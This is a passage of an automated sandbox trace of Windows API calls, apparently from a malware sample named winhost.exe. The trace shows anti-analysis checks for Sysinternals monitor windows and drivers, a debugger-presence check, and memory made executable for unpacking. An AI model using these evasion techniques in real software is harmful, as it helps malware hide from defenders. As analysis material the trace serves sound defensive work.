lpString2="Null.") returned -1 [0259.521] lstrcmpiA (lpString1="Filem", lpString2="Beep.") returned 1 [0259.521] lstrcmpiA (lpString1="Filem", lpString2="vga.s") returned -1 [0259.521] lstrcmpiA (lpString1="Filem", lpString2="VIDEO") returned -1 [0259.521] lstrcmpiA (lpString1="Filem", lpString2="watch") returned -1 [0259.521] lstrcmpiA (lpString1="Filem", lpString2="RDPCD") returned -1 [0259.521] lstrcmpiA (lpString1="Filem", lpString2="rdpen") returned -1 [0259.521] lstrcmpiA (lpString1="Filem", lpString2="rdpre") returned -1 [0259.521] lstrcmpiA (lpString1="Filem", lpString2="Msfs.") returned -1 [0259.521] lstrcmpiA (lpString1="Filem", lpString2="Npfs.") returned -1 [0259.521] lstrcmpiA (lpString1="Filem", lpString2="tdx.s") returned -1 [0259.521] lstrcmpiA (lpString1="Filem", lpString2="TDI.S") returned -1 [0259.521] lstrcmpiA (lpString1="Filem", lpString2="afd.s") returned 1 [0259.521] lstrcmpiA (lpString1="Filem", lpString2="netbt") returned -1 [0259.521] lstrcmpiA (lpString1="Filem", lpString2="wfplw") returned -1 [0259.521] lstrcmpiA (lpString1="Filem", lpString2="pacer") returned -1 [0259.521] lstrcmpiA (lpString1="Filem", lpString2="netbi") returned -1 [0259.522] lstrcmpiA (lpString1="Filem", lpString2="wanar") returned -1 [0259.522] lstrcmpiA (lpString1="Filem", lpString2="termd") returned -1 [0259.522] lstrcmpiA (lpString1="Filem", lpString2="rdbss") returned -1 [0259.522] lstrcmpiA (lpString1="Filem", lpString2="nsipr") returned -1 [0259.522] lstrcmpiA (lpString1="Filem", lpString2="mssmb") returned -1 [0259.522] lstrcmpiA (lpString1="Filem", lpString2="disca") returned 1 [0259.522] lstrcmpiA (lpString1="Filem", lpString2="csc.s") returned 1 [0259.522] lstrcmpiA (lpString1="Filem", lpString2="dfsc.") returned 1 [0259.522] lstrcmpiA (lpString1="Filem", lpString2="blbdr") returned 1 [0259.522] lstrcmpiA (lpString1="Filem", lpString2="tunne") returned -1 [0259.522] lstrcmpiA (lpString1="Filem", lpString2="vgapn") returned -1 [0259.522] lstrcmpiA (lpString1="Filem", lpString2="HDAud") returned -1 [0259.522] lstrcmpiA (lpString1="Filem", lpString2="usbeh") returned -1 [0259.522] lstrcmpiA (lpString1="Filem", lpString2="USBPO") returned -1 [0259.522] lstrcmpiA (lpString1="Filem", lpString2="E1G60") returned 1 [0259.522] lstrcmpiA (lpString1="Filem", lpString2="intel") returned -1 [0259.522] lstrcmpiA (lpString1="Filem", lpString2="Compo") returned 1 [0259.522] lstrcmpiA (lpString1="Filem", lpString2="Agile") returned 1 [0259.522] lstrcmpiA (lpString1="Filem", lpString2="rasl2") returned -1 [0259.522] lstrcmpiA (lpString1="Filem", lpString2="ndist") returned -1 [0259.522] lstrcmpiA (lpString1="Filem", lpString2="ndisw") returned -1 [0259.522] lstrcmpiA (lpString1="Filem", lpString2="raspp") returned -1 [0259.522] lstrcmpiA (lpString1="Filem", lpString2="raspp") returned -1 [0259.522] lstrcmpiA (lpString1="Filem", lpString2="rasss") returned -1 [0259.522] lstrcmpiA (lpString1="Filem", lpString2="rdpbu") returned -1 [0259.522] lstrcmpiA (lpString1="Filem", lpString2="kbdcl") returned -1 [0259.522] lstrcmpiA (lpString1="Filem", lpString2="moucl") returned -1 [0259.523] lstrcmpiA (lpString1="Filem", lpString2="swenu") returned -1 [0259.523] lstrcmpiA (lpString1="Filem", lpString2="ks.sy") returned -1 [0259.523] lstrcmpiA (lpString1="Filem", lpString2="umbus") returned -1 [0259.523] lstrcmpiA (lpString1="Filem", lpString2="usbhu") returned -1 [0259.523] lstrcmpiA (lpString1="Filem", lpString2="NDPro") returned -1 [0259.523] lstrcmpiA (lpString1="Filem", lpString2="HdAud") returned -1 [0259.523] lstrcmpiA (lpString1="Filem", lpString2="portc") returned -1 [0259.523] lstrcmpiA (lpString1="Filem", lpString2="drmk.") returned 1 [0259.523] lstrcmpiA (lpString1="Filem", lpString2="ksthu") returned -1 [0259.523] lstrcmpiA (lpString1="Filem", lpString2="crash") returned 1 [0259.523] lstrcmpiA (lpString1="Filem", lpString2="dump_") returned 1 [0259.523] lstrcmpiA (lpString1="Filem", lpString2="dump_") returned 1 [0259.523] lstrcmpiA (lpString1="Filem", lpString2="dump_") returned 1 [0259.523] lstrcmpiA (lpString1="Filem", lpString2="win32") returned -1 [0259.523] lstrcmpiA (lpString1="Filem", lpString2="Dxapi") returned 1 [0259.523] lstrcmpiA (lpString1="Filem", lpString2="dxg.s") returned 1 [0259.523] lstrcmpiA (lpString1="Filem", lpString2="monit") returned -1 [0259.523] lstrcmpiA (lpString1="Filem", lpString2="TSDDD") returned -1 [0259.523] lstrcmpiA (lpString1="Filem", lpString2="frame") returned -1 [0259.523] lstrcmpiA (lpString1="Filem", lpString2="hidus") returned -1 [0259.523] lstrcmpiA (lpString1="Filem", lpString2="HIDCL") returned -1 [0259.523] lstrcmpiA (lpString1="Filem", lpString2="HIDPA") returned -1 [0259.523] lstrcmpiA (lpString1="Filem", lpString2="USBD.") returned -1 [0259.523] lstrcmpiA (lpString1="Filem", lpString2="kbdhi") returned -1 [0259.523] lstrcmpiA (lpString1="Filem", lpString2="luafv") returned -1 [0259.523] lstrcmpiA (lpString1="Filem", lpString2="mouhi") returned -1 [0259.523] lstrcmpiA (lpString1="Filem", lpString2="lltdi") returned -1 [0259.524] lstrcmpiA (lpString1="Filem", lpString2="rspnd") returned -1 [0259.524] lstrcmpiA (lpString1="Filem", lpString2="HTTP.") returned -1 [0259.524] lstrcmpiA (lpString1="Filem", lpString2="bowse") returned 1 [0259.524] lstrcmpiA (lpString1="Filem", lpString2="mpsdr") returned -1 [0259.524] lstrcmpiA (lpString1="Filem", lpString2="mrxsm") returned -1 [0259.524] lstrcmpiA (lpString1="Filem", lpString2="mrxsm") returned -1 [0259.524] lstrcmpiA (lpString1="Filem", lpString2="mrxsm") returned -1 [0259.526] FindWindowA (lpClassName="RegmonClass", lpWindowName=0x0) returned 0x0 [0259.526] FindWindowA (lpClassName=0x0, lpWindowName="Registry Monitor - Sysinternals: www.sysinternals.com") returned 0x0 [0259.526] FindWindowA (lpClassName="18467-41", lpWindowName=0x0) returned 0x0 [0259.527] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x250000 [0259.527] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77350000 [0259.527] GetProcAddress (hModule=0x77350000, lpProcName="NtQuerySystemInformation") returned 0x7736fda0 [0259.527] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x250000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x250000, ResultLength=0x0) returned 0x0 [0259.532] VirtualProtect (in: lpAddress=0x773ef7ea, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x6aed9b | out: lpflOldProtect=0x6aed9b*=0x20) returned 1 [0259.532] VirtualProtect (in: lpAddress=0x773ef7ea, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x6aed9f | out: lpflOldProtect=0x6aed9f*=0x40) returned 1 [0259.532] VirtualProtect (in: lpAddress=0x7736000c, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x6aed9b | out: lpflOldProtect=0x6aed9b*=0x20) returned 1 [0259.532] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0x493931 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0259.532] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x6b2aee, nSize=0x100 | out: lpFilename="C:\\Windows\\System32\\winhost.exe" (normalized: "c:\\windows\\system32\\winhost.exe")) returned 0x1f [0259.532] SetCurrentDirectoryA (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0259.533] GetProcAddress (hModule=0x77350000, lpProcName="RtlAllocateHeap") returned 0x7737e026 [0259.533] GetVersion () returned 0x1db10106 [0259.533] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x250000 [0259.533] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75590000 [0259.533] LoadLibraryA (lpLibFileName="user32.dll") returned 0x758a0000 [0259.533] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74fa0000 [0259.533] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x76de0000 [0259.537] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75590000 [0259.537] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74fa0000 [0259.537] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75590000 [0259.537] LoadLibraryA (lpLibFileName="version.dll") returned 0x74e30000 [0259.541] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x76940000 [0259.541] LoadLibraryA (lpLibFileName="user32.dll") returned 0x758a0000 [0259.542] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75590000 [0259.542] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x76de0000 [0259.542] LoadLibraryA (lpLibFileName="comctl32.dll") returned 0x74da0000 [0259.682] LoadLibraryA (lpLibFileName="comdlg32.dll") returned 0x76ed0000 [0259.687] SetCurrentDirectoryA (lpPathName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 1 [0259.694] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x493931, nSize=0x200 | out: lpFilename="C:\\Windows\\System32\\winhost.exe" (normalized: "c:\\windows\\system32\\winhost.exe")) returned 0x1f [0259.694] CreateFileW (lpFileName="C:\\Windows\\System32\\winhost.exe" (normalized: "c:\\windows\\system32\\winhost.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0259.694] CreateFileMappingA (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x0 [0259.694] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0 [0259.695] GetLocalTime (in: lpSystemTime=0x6c9d3c | out: lpSystemTime=0x6c9d3c*(wYear=0x7e3, wMonth=0x1, wDayOfWeek=0x6, wDay=0x13, wHour=0xb, wMinute=0x38, wSecond=0x36, wMilliseconds=0x35e)) [0259.695] VirtualAlloc (lpAddress=0x0, dwSize=0x30d40, flAllocationType=0x1000, flProtect=0x4) returned 0x900000 [0259.697] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x1000, flProtect=0x4) returned 0x3d0000 [0259.697] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x49558d | out: lpflOldProtect=0x49558d*=0x2) returned 1 [0259.698] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x6d3e62 | out: Wow64Process=0x6d3e62) returned 1 [0259.702] CheckRemoteDebuggerPresent (in: hProcess=0xffffffff, pbDebuggerPresent=0x6d9a19 | out: pbDebuggerPresent=0x6d9a19) returned 1 [0259.789] VirtualProtect (in: lpAddress=0x401000, dwSize=0x30000, flNewProtect=0x40, lpflOldProtect=0x49558d | out: lpflOldProtect=0x49558d*=0x80) returned 1 [0260.117] FindWindowA (lpClassName="FilemonClass", lpWindowName=0x0) returned 0x0 [0260.117] FindWindowA (lpClassName=0x0, lpWindowName="File Monitor - Sysinternals: www.sysinternals.com") returned 0x0 [0260.117] FindWindowA (lpClassName="PROCMON_WINDOW_CLASS", lpWindowName=0x0) returned 0x0 [0260.117] FindWindowA (lpClassName=0x0, lpWindowName="Process Monitor - Sysinternals: www.sysinternals.com") returned 0x0 [0260.117] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3e0000 [0260.118] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77350000 [0260.118] GetProcAddress (hModule=0x77350000, lpProcName="NtQuerySystemInformation") returned 0x7736fda0 [0260.118] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x3e0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x3e0000, ResultLength=0x0) returned 0x0 [0260.118] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ntoskrnl.exe") returned -1 [0260.118] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="hal.dll") returned -1 [0260.118] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="kdcom.dll") returned -1 [0260.118] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mcupdate_Genuin") returned -1 [0260.118] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="PSHED.dll") returned -1 [0260.118] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CLFS.SYS") returned 1 [0260.119] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CI.dll") returned 1 [0260.119] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Wdf01000.sys") returned -1 [0260.119] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="WDFLDR.SYS") returned -1 [0260.119] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ACPI.sys") returned 1 [0260.119] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="WMILIB.SYS") returned -1 [0260.119] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="msisadrv.sys") returned -1 [0260.119] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="pci.sys") returned -1 [0260.119] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vdrvroot.sys") returned -1 [0260.119] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="partmgr.sys") returned -1 [0260.119] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="volmgr.sys") returned -1 [0260.119] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="volmgrx.sys") returned -1 [0260.119] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mountmgr.sys") returned -1 [0260.119] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="atapi.sys") returned 1 [0260.119] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ataport.SYS") returned 1 [0260.119] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="msahci.sys") returned -1 [0260.119] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="PCIIDEX.SYS") returned -1 [0260.119] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="amdxata.sys") returned 1 [0260.119] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fltmgr.sys") returned -1 [0260.119] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fileinfo.sys") returned 1 [0260.119] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Ntfs.sys") returned -1 [0260.119] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="msrpc.sys") returned -1 [0260.119] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ksecdd.sys") returned -1 [0260.119] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="cng.sys") returned 1 [0260.119] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="pcw.sys") returned -1 [0260.119] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Fs_Rec.sys") returned -1 [0260.120] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ndis.sys") returned -1 [0260.120] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="NETIO.SYS") returned -1 [0260.120] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ksecpkg.sys") returned -1 [0260.120] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tcpip.sys") returned -1 [0260.120] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fwpkclnt.sys") returned -1 [0260.120] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vmstorfl.sys") returned -1 [0260.120] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="volsnap.sys") returned -1 [0260.120] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="spldr.sys") returned -1 [0260.120] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdyboost.sys") returned -1 [0260.120] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mup.sys") returned -1 [0260.120] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="hwpolicy.sys") returned -1 [0260.120] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fvevol.sys") returned -1 [0260.120] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="disk.sys") returned 1 [0260.120] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CLASSPNP.SYS") returned 1 [0260.120] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Null.SYS") returned -1 [0260.120] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Beep.SYS") returned 1 [0260.120] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vga.sys") returned -1 [0260.120] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="VIDEOPRT.SYS") returned -1 [0260.120] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="watchdog.sys") returned -1 [0260.120] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="RDPCDD.sys") returned -1 [0260.120] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdpencdd.sys") returned -1 [0260.120] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdprefmp.sys") returned -1 [0260.120] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Msfs.SYS") returned -1 [0260.120] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Npfs.SYS") returned -1 [0260.120] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tdx.sys") returned -1 [0260.120] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="TDI.SYS") returned -1 [0260.120] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="afd.sys") returned 1 [0260.121] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="netbt.sys") returned -1 [0260.121] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="wfplwf.sys") returned -1 [0260.121] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="pacer.sys") returned -1 [0260.121] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="netbios.sys") returned -1 [0260.121] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="wanarp.sys") returned -1 [0260.121] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="termdd.sys") returned -1 [0260.121] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdbss.sys") returned -1 [0260.121] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="nsiproxy.sys") returned -1 [0260.121] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mssmbios.sys") returned -1 [0260.121] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="discache.sys") returned 1 [0260.121] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="csc.sys") returned 1 [0260.121] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dfsc.sys") returned 1 [0260.121] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="blbdrive.sys") returned 1 [0260.121] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tunnel.sys") returned -1 [0260.121] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vgapnp.sys") returned -1 [0260.121] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HDAudBus.sys") returned -1 [0260.121] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="usbehci.sys") returned -1 [0260.121] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="USBPORT.SYS") returned -1 [0260.121] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="E1G6032E.sys") returned 1 [0260.121] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="intelppm.sys") returned -1 [0260.121] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CompositeBus.sy") returned 1 [0260.121] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="AgileVpn.sys") returned 1 [0260.121] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rasl2tp.sys") returned -1 [0260.121] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ndistapi.sys") returned -1 [0260.121] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ndiswan.sys") returned -1 [0260.121] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="raspppoe.sys") returned -1 [0260.121] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="raspptp.sys") returned -1 [0260.121] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rassstp.sys") returned -1 [0260.121] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdpbus.sys") returned -1 [0260.122] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="kbdclass.sys") returned -1 [0260.122] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mouclass.sys") returned -1 [0260.122] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="swenum.sys") returned -1 [0260.122] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ks.sys") returned -1 [0260.122] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="umbus.sys") returned -1 [0260.122] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="usbhub.sys") returned -1 [0260.122] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="NDProxy.SYS") returned -1 [0260.122] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HdAudio.sys") returned -1 [0260.122] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="portcls.sys") returned -1 [0260.122] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="drmk.sys") returned 1 [0260.122] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ksthunk.sys") returned -1 [0260.122] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="crashdmp.sys") returned 1 [0260.122] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dump_dumpata.sy") returned 1 [0260.122] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dump_msahci.sys") returned 1 [0260.122] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dump_dumpfve.sy") returned 1 [0260.122] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="win32k.sys") returned -1 [0260.122] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Dxapi.sys") returned 1 [0260.122] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dxg.sys") returned 1 [0260.122] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="monitor.sys") returned -1 [0260.122] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="TSDDD.dll") returned -1 [0260.122] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="framebuf.dll") returned -1 [0260.122] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="hidusb.sys") returned -1 [0260.122] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HIDCLASS.SYS") returned -1 [0260.122] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HIDPARSE.SYS") returned -1 [0260.122] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="USBD.SYS") returned -1 [0260.122] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="kbdhid.sys") returned -1 [0260.123] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="luafv.sys") returned -1 [0260.123] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mouhid.sys") returned -1 [0260.123] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="lltdio.sys") returned -1 [0260.123] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rspndr.sys") returned -1 [0260.123] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HTTP.sys") returned -1 [0260.123] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="bowser.sys") returned 1 [0260.123] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mpsdrv.sys") returned -1 [0260.123] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mrxsmb.sys") returned -1 [0260.123] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mrxsmb10.sys") returned -1 [0260.123] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mrxsmb20.sys") returned -1 [0260.123] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ntdll.dll") returned -1 [0260.123] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="smss.exe") returned -1 [0260.123] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="apisetschema.dl") returned 1 [0260.123] lstrcmpiA (lpString1="Filem", lpString2="ntosk") returned -1 [0260.124] lstrcmpiA (lpString1="Filem", lpString2="hal.d") returned -1 [0260.124] lstrcmpiA (lpString1="Filem", lpString2="kdcom") returned -1 [0260.124] lstrcmpiA (lpString1="Filem", lpString2="mcupd") returned -1 [0260.124] lstrcmpiA (lpString1="Filem", lpString2="PSHED") returned -1 [0260.124] lstrcmpiA (lpString1="Filem", lpString2="CLFS.") returned 1 [0260.124] lstrcmpiA (lpString1="Filem", lpString2="CI.dl") returned 1 [0260.124] lstrcmpiA (lpString1="Filem", lpString2="Wdf01") returned -1 [0260.124] lstrcmpiA (lpString1="Filem", lpString2="WDFLD") returned -1 [0260.124] lstrcmpiA (lpString1="Filem", lpString2="ACPI.") returned 1 [0260.124] lstrcmpiA (lpString1="Filem", lpString2="WMILI") returned -1 [0260.124] lstrcmpiA (lpString1="Filem", lpString2="msisa") returned -1 [0260.124] lstrcmpiA (lpString1="Filem", lpString2="pci.s") returned -1 [0260.124] lstrcmpiA (lpString1="Filem", lpString2="vdrvr") returned -1 [0260.124] lstrcmpiA (lpString1="Filem", lpString2="partm") returned -1 [0260.124] lstrcmpiA (lpString1="Filem", lpString2="volmg") returned -1 [0260.124] lstrcmpiA (lpString1="Filem", lpString2="volmg") returned -1 [0260.124] lstrcmpiA (lpString1="Filem", lpString2="mount") returned -1 [0260.124] lstrcmpiA (lpString1="Filem", lpString2="atapi") returned 1 [0260.124] lstrcmpiA (lpString1="Filem", lpString2="atapo") returned 1 [0260.124] lstrcmpiA (lpString1="Filem", lpString2="msahc") returned -1 [0260.124] lstrcmpiA (lpString1="Filem", lpString2="PCIID") returned -1 [0260.124] lstrcmpiA (lpString1="Filem", lpString2="amdxa") returned 1 [0260.124] lstrcmpiA (lpString1="Filem", lpString2="fltmg") returned -1 [0260.124] lstrcmpiA (lpString1="Filem", lpString2="filei") returned 1 [0260.124] lstrcmpiA (lpString1="Filem", lpString2="Ntfs.") returned -1 [0260.124] lstrcmpiA (lpString1="Filem", lpString2="msrpc") returned -1 [0260.125] lstrcmpiA (lpString1="Filem", lpString2="ksecd") returned -1 [0260.125] lstrcmpiA (lpString1="Filem", lpString2="cng.s") returned 1 [0260.125] lstrcmpiA (lpString1="Filem", lpString2="pcw.s") returned -1 [0260.125] lstrcmpiA (lpString1="Filem", lpString2="Fs_Re") returned -1 [0260.125] lstrcmpiA (lpString1="Filem", lpString2="ndis.") returned -1 [0260.125] lstrcmpiA (lpString1="Filem", lpString2="NETIO") returned -1 [0260.125] lstrcmpiA (lpString1="Filem", lpString2="ksecp") returned -1 [0260.125] lstrcmpiA (lpString1="Filem", lpString2="tcpip") returned -1 [0260.125] lstrcmpiA (lpString1="Filem", lpString2="fwpkc") returned -1 [0260.125] lstrcmpiA (lpString1="Filem", lpString2="vmsto") returned -1 [0260.125] lstrcmpiA (lpString1="Filem", lpString2="volsn") returned -1 [0260.125] lstrcmpiA (lpString1="Filem", lpString2="spldr") returned -1 [0260.125] lstrcmpiA (lpString1="Filem", lpString2="rdybo") returned -1 [0260.125] lstrcmpiA (lpString1="Filem", lpString2="mup.s") returned -1 [0260.125] lstrcmpiA (lpString1="Filem", lpString2="hwpol") returned -1 [0260.125] lstrcmpiA (lpString1="Filem", lpString2="fvevo") returned -1 [0260.125] lstrcmpiA (lpString1="Filem", lpString2="disk.") returned 1 [0260.125] lstrcmpiA (lpString1="Filem", lpString2="CLASS") returned 1 [0260.125] lstrcmpiA (lpString1="Filem", lpString2="Null.") returned -1 [0260.125] lstrcmpiA (lpString1="Filem", lpString2="Beep.") returned 1 [0260.125] lstrcmpiA (lpString1="Filem", lpString2="vga.s") returned -1 [0260.125] lstrcmpiA (lpString1="Filem", lpString2="VIDEO") returned -1 [0260.125] lstrcmpiA (lpString1="Filem", lpString2="watch") returned -1 [0260.125] lstrcmpiA (lpString1="Filem", lpString2="RDPCD") returned -1 [0260.125] lstrcmpiA (lpString1="Filem", lpString2="rdpen") returned -1 [0260.125] lstrcmpiA (lpString1="Filem", lpString2="rdpre") returned -1 [0260.125] lstrcmpiA (lpString1="Filem", lpString2="Msfs.") returned -1 [0260.125] lstrcmpiA (lpString1="Filem", lpString2="Npfs.") returned -1 [0260.126] lstrcmpiA (lpString1="Filem", lpString2="tdx.s") returned -1 [0260.126] lstrcmpiA (lpString1="Filem", lpString2="TDI.S") returned -1 [0260.126] lstrcmpiA (lpString1="Filem", lpString2="afd.s") returned 1 [0260.126] lstrcmpiA (lpString1="Filem", lpString2="netbt") returned -1 [0260.126] lstrcmpiA (lpString1="Filem", lpString2="wfplw") returned -1 [0260.126] lstrcmpiA (lpString1="Filem", lpString2="pacer") returned -1 [0260.126] lstrcmpiA (lpString1="Filem", lpString2="netbi") returned -1 [0260.126] lstrcmpiA (lpString1="Filem", lpString2="wanar") returned -1 [0260.126] lstrcmpiA (lpString1="Filem", lpString2="termd") returned -1 [0260.126] lstrcmpiA (lpString1="Filem", lpString2="rdbss") returned -1 [0260.126] lstrcmpiA (lpString1="Filem", lpString2="nsipr") returned -1 [0260.126] lstrcmpiA (lpString1="Filem", lpString2="mssmb") returned -1 [0260.126] lstrcmpiA (lpString1="Filem", lpString2="disca") returned 1 